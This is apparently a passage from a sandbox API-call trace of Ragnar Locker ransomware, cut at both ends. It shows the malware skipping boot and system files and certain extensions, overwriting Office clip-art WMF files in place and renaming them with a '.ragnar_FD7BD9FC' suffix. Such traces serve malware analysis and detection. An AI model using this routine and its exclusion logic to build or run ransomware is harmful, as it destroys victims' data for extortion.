[0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf")) returned 0x20 [0089.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.852] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2556) returned 1 [0089.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.852] GetProcessHeap () returned 0x580000 [0089.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.852] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.854] VirtualAlloc (lpAddress=0x0, dwSize=0x9fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.854] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9fc, lpOverlapped=0x0) returned 1 [0089.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.854] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.854] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9fc, lpOverlapped=0x0) returned 1 [0089.854] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.854] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.855] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.855] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.855] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.855] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.855] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.855] GetProcessHeap () returned 0x580000 [0089.855] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.855] CloseHandle (hObject=0xf4) returned 1 [0089.855] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" [0089.855] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ragnar_FD7BD9FC" [0089.855] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.856] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0089.856] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.856] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03795_.WMF" | out: lpString1="PE03795_.WMF") returned="PE03795_.WMF" [0089.856] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF") returned=".WMF" [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="autorun.inf") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="boot.ini") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="bootfont.bin") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="bootsect.bak") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="bootmgr") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="bootmgr.efi") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="desktop.ini") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="iconcache.db") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="ntldr") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="ntuser.dat") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="ntuser.ini") returned 1 [0089.856] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="thumbs.db") returned -1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.856] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf")) returned 0x20 [0089.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.857] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1930) returned 1 [0089.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.857] GetProcessHeap () returned 0x580000 [0089.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.857] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.858] VirtualAlloc (lpAddress=0x0, dwSize=0x78a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.859] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78a, lpOverlapped=0x0) returned 1 [0089.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.859] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78a, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.859] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78a, lpOverlapped=0x0) returned 1 [0089.859] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.859] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.859] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.859] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.859] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.859] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.860] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.860] GetProcessHeap () returned 0x580000 [0089.860] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.860] CloseHandle (hObject=0xf4) returned 1 [0089.860] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" [0089.860] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ragnar_FD7BD9FC" [0089.860] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.861] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0089.861] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.861] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE04050_.WMF" | out: lpString1="PE04050_.WMF") returned="PE04050_.WMF" [0089.861] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF") returned=".WMF" [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="autorun.inf") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="boot.ini") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="bootfont.bin") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="bootsect.bak") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="bootmgr") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="bootmgr.efi") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="desktop.ini") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="iconcache.db") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="ntldr") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="ntuser.dat") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="ntuser.ini") returned 1 [0089.861] lstrcmpiW (lpString1="PE04050_.WMF", lpString2="thumbs.db") returned -1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.861] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.862] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf")) returned 0x20 [0089.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.862] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4128) returned 1 [0089.862] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1017, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.862] GetProcessHeap () returned 0x580000 [0089.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.862] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.864] VirtualAlloc (lpAddress=0x0, dwSize=0x1020, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.864] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.864] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.864] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1020, lpOverlapped=0x0) returned 1 [0089.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.865] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1020, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.865] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1020, lpOverlapped=0x0) returned 1 [0089.865] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1020, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.865] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.865] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.865] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.865] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.866] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.866] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.866] GetProcessHeap () returned 0x580000 [0089.866] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.866] CloseHandle (hObject=0xf4) returned 1 [0089.866] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" [0089.866] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ragnar_FD7BD9FC" [0089.866] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.867] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0089.867] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.867] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE05665_.WMF" | out: lpString1="PE05665_.WMF") returned="PE05665_.WMF" [0089.867] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF") returned=".WMF" [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="autorun.inf") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="boot.ini") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="bootfont.bin") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="bootsect.bak") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="bootmgr") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="bootmgr.efi") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="desktop.ini") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="iconcache.db") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="ntldr") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="ntuser.dat") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="ntuser.ini") returned 1 [0089.867] lstrcmpiW (lpString1="PE05665_.WMF", lpString2="thumbs.db") returned -1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.867] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf")) returned 0x20 [0089.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 